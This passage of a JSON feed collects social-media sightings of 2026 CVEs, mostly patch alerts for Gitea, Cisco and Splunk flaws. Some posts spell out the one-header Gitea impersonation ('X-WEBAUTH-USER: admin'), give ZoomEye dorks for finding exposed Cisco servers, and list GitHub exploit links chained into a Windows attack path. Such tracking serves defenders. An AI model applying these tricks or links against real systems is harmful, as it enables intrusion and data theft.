"https://bsky.app/profile/poxek.bsky.social/post/3mq3imox2uu2x", "content": "CVE-2026-20896 is a nasty Gitea Docker auth bypass: if reverse-proxy auth is enabled and the backend port is reachable, one HTTP header can impersonate a known user.\n\nX-WEBAUTH-USER: admin", "creation_timestamp": "2026-07-07T20:58:11.251158Z"}, {"uuid": "71857771-f9e0-4594-a1fd-873a87deff49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/poxek.bsky.social/post/3mq3imox2uw2x", "content": "CVE-2026-20896 is a nasty Gitea Docker auth bypass: if reverse-proxy auth is enabled and the backend port is reachable, one HTTP header can impersonate a known user.\n\nX-WEBAUTH-USER: admin", "creation_timestamp": "2026-07-07T20:58:13.971632Z"}, {"uuid": "8f23c26e-0bb9-414f-bfd2-d9966088a489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mq3jlslaca27", "content": "Active exploitation of CVE-2026-20896 lets attackers bypass Gitea auth with a valid username and one HTTP header, risking repo, secret, and CI/CD takeover. Update Docker images to 1.26.3. #Gitea #CVE202620896 #DevSecOps", "creation_timestamp": "2026-07-07T21:15:23.659334Z"}, {"uuid": "cd70650b-5da5-40f3-901d-a167591fab03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3qfqngqi2f", "content": "CVE-2026-20896: Gitea's Docker Vulnerability Is a Recipe for Disaster #CyberSecurity #Vulnerability #Gitea", "creation_timestamp": "2026-07-07T23:17:16.565066Z"}, {"uuid": "7cd607fc-238e-4de7-81d1-26b96d651323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3qfup33j27", "content": "CVE-2026-20896 Exposes Gitea Docker Repositories: Attackers Seizing Control #CVE202620896 #Gitea #Docker", "creation_timestamp": "2026-07-07T23:17:20.610586Z"}, {"uuid": "2046edb5-404c-4b30-a99d-46aa349614cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3qfzzak324", "content": "CVE-2026-20896: Gitea's Bug Exposes Repositories, Demands Urgent Attention #CVE202620896 #Gitea #CyberSecurity", "creation_timestamp": "2026-07-07T23:17:26.143975Z"}, {"uuid": "07ee9327-d719-4e23-b60d-d795b1154e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3qg6wsf32s", "content": "CVE-2026-20896: Gitea's Docker Flaw Exposes Critical Repositories Due to Configuration Failures #CVE202620896 #Gitea #Docker", "creation_timestamp": "2026-07-07T23:17:31.448100Z"}, {"uuid": "88bc5b1c-e5b3-4098-b23f-d4f43fc827a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3qgcu54z27", "content": "CVE-2026-20896: Gitea's Docker Flaw Exposes Repositories\u2014Is Anyone Paying Attention? #CVE202620896 #Gitea #Docker", "creation_timestamp": "2026-07-07T23:17:35.908797Z"}, {"uuid": "e81ca082-bee8-4328-b9bc-c1b0711d1b2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3qggs4ez27", "content": "CVE-2026-20896: Is Gitea's Critical Docker Vulnerability a Policy Failure? #CyberSecurity #Vulnerability #Gitea", "creation_timestamp": "2026-07-07T23:17:39.541976Z"}, {"uuid": "b1c1c27d-f48b-4f3f-ade3-fb9d51f53c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mq474jhpg62i", "content": "CVE-2026-20896 lets reachable Gitea Docker containers trust spoofed X-WEBAUTH-USER headers when reverse proxy auth is enabled.", "creation_timestamp": "2026-07-08T03:40:32.735696Z"}, {"uuid": "901fa22d-9683-4ef0-b573-4bf38cf4832e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2053", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3mq42a25we72a", "content": "A critical-severity fix just shipped for Wso2 Api Manager. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-2053", "creation_timestamp": "2026-07-08T02:13:03.287370Z"}, {"uuid": "c2ba4dd4-dcb2-49ef-9ba3-9bf28c1a00a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mq4dppqaco2z", "content": "Daily IT Security Digest \u2014 2026-07-08\nMastodon #security\n\n7. **Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild**\nA critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager (CVE-2026-20262) is being actively exploited. Attackers with write access can escalate to", "creation_timestamp": "2026-07-08T05:02:51.582605Z"}, {"uuid": "1b352c32-b1f7-4695-be14-6183dfe490a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116882828726974974", "content": "CRITICAL: Gitea Docker (<1.26.3) is vulnerable to auth bypass (CVE-2026-20896) \u2014 attackers can access repos & secrets by spoofing a username header. Actively exploited! Patch to 1.26.3+ & restrict access now. https://radar.offseq.com/threat/critical-gitea-flaw-under-active-exploitation-rese-c58d67a324be5e40 #OffSeq #Gitea #Vuln #Infosec", "creation_timestamp": "2026-07-08T06:00:29.500188Z"}, {"uuid": "4f81d109-520e-4bd3-9a3d-6b14e87b41c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mq4gwsq67v2t", "content": "Gitea Docker (<1.26.3) hit by CRITICAL CVE-2026-20896. Auth bypass flaw is being exploited to access private code & secrets. Update to 1.26.3+ or restrict access immediately. https://radar.offseq.com/threat/critical-gitea-flaw-under-active-exploitation-rese-c58d67a324be5e40 #OffSeq #Gitea #Security", "creation_timestamp": "2026-07-08T06:00:31.269498Z"}, {"uuid": "3e5c71a0-5feb-4f55-84fa-f647a4ac2188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "MISP/170722ec-e2a5-4455-9c36-cb36b72bcffc", "content": "", "creation_timestamp": "2026-08-13T15:15:02.964569Z"}, {"uuid": "a7f12491-0a62-4818-85e9-dfe624e5fc59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116884921124621905", "content": "\ud83d\udcf0 Critical Gitea Docker Flaw Actively Exploited for Unauthorized Access\n\ud83d\udd25 CRITICAL Gitea flaw (CVE-2026-20896, CVSS 9.8) is actively exploited! Insecure default in Docker images allows unauthenticated attackers to become admin. Update immediately or harden your proxy config! #Gitea #Vulnerability #DevSecOps\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-gitea-docker-flaw-actively-exploited-for-unauthorized-access/?utm_source=mastodon&utm_me\u2026", "creation_timestamp": "2026-07-08T14:52:36.954704Z"}, {"uuid": "f981045a-8a1e-4449-8109-e646d1dd48a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mq5epgvmwq2f", "content": "\ud83d\udd25 CRITICAL Gitea flaw (CVE-2026-20896, CVSS 9.8) is actively exploited! Insecure default in Docker images allows unauthenticated attackers to become admin. Update immediately or harden your proxy config! #Gitea #Vulnerability #DevSecOps\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-08T14:53:16.317267Z"}, {"uuid": "e8089181-a13d-4635-86e3-b334553cb6d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mq5yvuqybs2a", "content": "Critical Gitea Docker Bug Under Active Exploitation Exposes Repositories and Secrets\n\nAttackers are exploiting a critical Gitea flaw (CVE-2026-20896) that bypasses authentication with a single HTTP header, exposing repositories and sensitive data. Sysdig researchers warn that atta\u2026\n#hackernews #news", "creation_timestamp": "2026-07-08T20:54:47.476021Z"}, {"uuid": "d6f03ef7-72d6-4655-9b16-783c4b6ce9b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/insomnisec.bsky.social/post/3mq6cz6hdl42e", "content": "\ud83d\udce1 Cisco SD-WAN Root Escalation (CVE-2026-20245): A Zero-Day Exploited Months Before Anyone Knew It Existed", "creation_timestamp": "2026-07-08T23:55:34.634239Z"}, {"uuid": "81e79449-71f9-4b48-bf70-209d1fb50c26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/brutsecurity/2769", "content": "\ud83d\udea8 CVE-2026-20230: Cisco Unified Communications Manager and Cisco Unified Communications Manager Session Management Edition Server-Side Request Forgery (SSRF)\n\nCritical Vulnerability Alert!\nCisco Unified Communications Manager is affected by CVE-2026-20230.\n\nFull Vulnerability Details & Analysis at DarkEye:\n\ud83d\udd17 https://darkeye.org/vuln/cve/CVE-2026-20230\n\n\ud83d\udd0d Identify Targets via ZoomEye:\n\nFilter: vul.cve=\"CVE-2026-20230\"\nSearch Dork: app=\"Cisco Unified Communications Manager\"\nExposure: 5k instances identified globally.\n\nZoomEye Search Link:\n\ud83d\udc49 https://www.zoomeye.ai/searchResult?q=YXBwPSJDaXNjbyBVbmlmaWVkIENvbW11bmljYXRpb25zIE1hbmFnZXIi&t=all&utm_source=telegram&utm_medium=community&utm_campaign=cve_ops_20260626", "creation_timestamp": "2026-07-09T03:00:04.554376Z"}, {"uuid": "a95335b4-d503-4ee8-9a3a-c4e0ae277fd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3msxzrobjgm2w", "content": "~Cybergcca~\nActive exploitation of Cisco ASA/FTD SSL VPN DoS vuln (CVE-2026-20349); AMD, GitLab, Plesk patches also released.\n-\nIOCs: CVE-2026-20349\n-\n#CVE202620349 #Cisco #ThreatIntel", "creation_timestamp": "2026-08-13T16:09:56.402611Z"}, {"uuid": "97815b69-f2b7-44fa-899b-a34c6d793850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "Cisco ha rilasciato aggiornamenti di sicurezza che risolvono molteplici vulnerabilit\u00e0, tra cui 5 con gravit\u00e0 \"critica\" e 11 con gravit\u00e0 \u201calta\u201d, riguardanti vari prodotti. In particolare si evidenziano la CVE-2026-20316 che risulta attivamente sfruttata in rete e la CVE-2026-20200 per la quale \u00e8 disponibile un Proof of Concept (PoC).", "creation_timestamp": "2026-08-07T01:01:06.349597Z"}, {"uuid": "df8e6d46-0af4-4864-a035-372c3ec48aee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-018-vulnerability-affecting-cisco-asa-secure-firewall-threat-defense-software-remote-access-ssl-vpn-cve-2026-20349", "content": "", "creation_timestamp": "2026-08-13T16:15:02.885521Z"}, {"uuid": "9104de22-42f5-4e3a-9680-67f1ed03ddf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mq6u6oka6x2r", "content": "Daily IT Security Digest \u2014 2026-07-09\n# Daily IT Security Digest \u2014 2026-07-09\n\n## 1. Cisco Catalyst SD-WAN Manager Zero-Day Exploited in the Wild (CVE-2026-20262)", "creation_timestamp": "2026-07-09T05:02:52.894699Z"}, {"uuid": "87c7d3b6-4f06-414e-a8f2-350b401663e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mshgfr47cb2r", "content": "PoC exploit code is public for CVE-2026-20200, a Cisco IMC argument injection flaw enabling root RCE. CVSS 8.8. Patch details inside.\n\n#Cisco #RCE #CVE #InfoSec #CyberSecurity", "creation_timestamp": "2026-08-07T01:40:39.711719Z"}, {"uuid": "b2fdaf9d-db22-4c38-8c86-80d686a4c8a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20182", "type": "seen", "source": "https://bsky.app/profile/itimagined.bsky.social/post/3mq7vnjvrsl2d", "content": "In May 2026, CISA added a top-severity Cisco SD-WAN flaw to its \u201cfix this now\u201d list, which means attackers are already using it. If your business runs Cisco SD-WAN, patching should be urgent.\n\nhttps://thehackernews.com/2026/05/cisa-adds-cisco-sd-wan-cve-2026-20182.html", "creation_timestamp": "2026-07-09T15:01:45.298537Z"}, {"uuid": "4e3b761d-a8f8-4376-8fef-03bce7960682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/31152", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:33.500040Z"}, {"uuid": "3d3441df-0724-4f99-9f9d-792636994eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "published-proof-of-concept", "source": "Telegram/SAqdp9bHH88ksxYx8tSwP5q461mBwCPpE6VU5oVsthx6anc", "content": "", "creation_timestamp": "2026-08-16T00:00:21.681295Z"}, {"uuid": "b0f6ffc5-c6b2-4411-8ce2-6fba004c7ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/brutsecurity/2769", "content": "\ud83d\udea8 CVE-2026-20230: Cisco Unified Communications Manager and Cisco Unified Communications Manager Session Management Edition Server-Side Request Forgery (SSRF)\n\nCritical Vulnerability Alert!\nCisco Unified Communications Manager is affected by CVE-2026-20230.\n\nFull Vulnerability Details & Analysis at DarkEye:\n\ud83d\udd17 https://darkeye.org/vuln/cve/CVE-2026-20230\n\n\ud83d\udd0d Identify Targets via ZoomEye:\n\nFilter: vul.cve=\"CVE-2026-20230\"\nSearch Dork: app=\"Cisco Unified Communications Manager\"\nExposure: 5k instances identified globally.\n\nZoomEye Search Link:\n\ud83d\udc49 https://www.zoomeye.ai/searchResult?q=YXBwPSJDaXNjbyBVbmlmaWVkIENvbW11bmljYXRpb25zIE1hbmFnZXIi&t=all&utm_source=telegram&utm_medium=community&utm_campaign=cve_ops_20260626", "creation_timestamp": "2026-07-10T00:00:11.643411Z"}, {"uuid": "ae317d76-8bb2-4665-ba87-9007f7b0ddac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mshmabex722a", "content": "Critical Cisco IMC bug gives attackers root, PoC is out (CVE-2026-20200)\n\nCisco has fixed a critical vulnerability (CVE-2026-20200) in its Integrated Management Controller (IMC), which allows an attacker to run commands as root through the controller\u2019s web interface. The fix was p\u2026\n#hackernews #news", "creation_timestamp": "2026-08-07T03:24:57.951263Z"}, {"uuid": "4a82c051-a0dc-4bca-b65b-a3a2547361a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "Cisco ha rilasciato aggiornamenti di sicurezza che risolvono molteplici vulnerabilit\u00e0, tra cui 5 con gravit\u00e0 \"critica\" e 11 con gravit\u00e0 \u201calta\u201d, riguardanti vari prodotti. In particolare si evidenziano la CVE-2026-20316 che risulta attivamente sfruttata in rete e la CVE-2026-20200 per la quale \u00e8 disponibile un Proof of Concept (PoC).", "creation_timestamp": "2026-08-07T04:00:38.865092Z"}, {"uuid": "559deb32-bf07-4125-99d3-618e88d3a4f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/insomnisec.bsky.social/post/3mqaxh2tjsm27", "content": "\ud83d\udce1 Cisco SD-WAN Root Escalation (CVE-2026-20245): A Zero-Day Exploited Months Before Anyone Knew It Existed", "creation_timestamp": "2026-07-10T01:06:34.982028Z"}, {"uuid": "c2bd32da-ce41-463c-9d67-881a08674207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqbeoe56y326", "content": "Daily IT Security Digest \u2014 2026-07-10\n# Daily IT Security Digest \u2014 2026-07-10\n\n## Top Security Findings Today\n\n1. **Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild**\n   A critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager allows attackers with write", "creation_timestamp": "2026-07-10T05:03:18.404591Z"}, {"uuid": "3b7ee0c7-c2ac-4ed9-949c-ee8eee44f516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20349", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3msy4hbgx6j2p", "content": "Another Cisco VPN flaw. Unauthenticated. High severity.\n\nCVE-2026-20349.\n\nhttps://www.yazoul.net/advisory/cve/cve-2026-20349-cisco-asa-ftd-vpn-dos-exploited-in-wild/\n\nby Yazoul AI #CyberSecurity #PatchNow", "creation_timestamp": "2026-08-13T16:57:48.322413Z"}, {"uuid": "f44ef31d-4708-4f53-99a0-811b77f4b620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/eurotrends24.bsky.social/post/3mqbi56e2le2s", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure", "creation_timestamp": "2026-07-10T06:05:16.978837Z"}, {"uuid": "eb95f5e3-f924-401c-b8f9-30336097f02d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqbv2wudln23", "content": "Rapid reaction gets you ahead. 7 days before CISA added CVE-2026-20253 a critical Unauthenticated Arbitrary File Creation vulnerability (CVSS 9.8) in Splunk Enterprise, watchTowr clients were aware of their exposure.\u2026\n\n\u2014 from @watchtowrcyber (https://x.com/watchtowrcyber/status/2075517780732883119)", "creation_timestamp": "2026-07-10T09:56:40.958222Z"}, {"uuid": "1a745d9c-45f1-45b1-97ce-e16326194e11", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b440672c-edee-4634-9ea6-32fbe3e6dcb4", "content": "", "creation_timestamp": "2026-08-11T20:00:02.395660Z"}, {"uuid": "1ffb0e3f-1bed-41b0-a165-f79ded52376f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqbvzi7ei32m", "content": "Rapid reaction gets you ahead. 7 days before CISA added CVE-2026-20253 a critical Unauthenticated Arbitrary File Creation vulnerability (CVSS 9.8) in Splunk Enterprise to KEV, watchTowr clients were aware of their ex\u2026\n\n\u2014 from @watchtowrcyber (https://x.com/watchtowrcyber/status/2075518976126226783)", "creation_timestamp": "2026-07-10T10:13:45.312521Z"}, {"uuid": "e5c71bcc-0602-4ca4-83c3-d1e93a1de3a0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/142b2faa-258e-4b3b-b7c2-8a059c50b1b8", "content": "", "creation_timestamp": "2026-08-11T20:00:26.015288Z"}, {"uuid": "42b6557a-b2ac-4ad2-83e0-5965983ddaff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mstg3juioa25", "content": "Cisco Secure Firewalls Under Attack: Actively Exploited CVE-2026-20349 Can Remotely Crash ASA and FTD\u00a0Devices\n\nA New Cisco Firewall Threat Is Already Being Exploited A serious warning has emerged from Cisco\u2019s security team: attackers are actively exploiting a newly disclosed vulnerability in Cisco\u2026", "creation_timestamp": "2026-08-11T20:06:53.643226Z"}, {"uuid": "02037afa-b7fd-44c8-902a-ffe78f37ba23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mqd25s3lhv2w", "content": "Hackers are exploiting CVE-2026-20896 in Gitea's Docker image, allowing auth bypass and user impersonation, including admins. The flaw affects default setups via reverse-proxy headers. #Gitea #Singapore #CVE2026", "creation_timestamp": "2026-07-10T21:00:25.133839Z"}, {"uuid": "517aab94-9ffb-4850-ad95-d7c5cc3db667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 